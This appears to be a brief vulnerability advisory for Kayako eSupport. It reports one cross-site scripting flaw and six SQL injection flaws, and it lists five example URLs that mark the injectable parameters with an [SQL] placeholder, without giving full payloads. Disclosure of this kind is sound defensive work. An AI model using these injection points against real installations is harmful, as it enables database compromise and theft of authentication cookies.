source: https://www.securityfocus.com/bid/12037/info

Kayako eSupport is prone to multiple input validation vulnerabilities. One cross-site scripting and six SQL injection vulnerabilities.

These issues may collectively threaten compromise of software and database security properties. Possible attacks include theft of cookie-based authentication credentials, exposure or modification of database information, and a potential for attacks against the underlying database implementation.

http://www.example.com/index.php?_a=knowledgebase&_j=subcat&_i=[SQL]

http://www.example.com/index.php?_a=knowledgebase&_j=rate&_i=[SQL]&type=no

http://www.example.com/index.php?_a=knowledgebase&_j=questiondetails&_i=[SQL]

http://www.example.com/index.php?_a=tickets&_m=viewmain&email22=blah@blah&ticketkey22=[
SQL]

http://www.example.com/index.php?_a=tickets&_m=viewmain&email22=[SQL]&ticketkey22=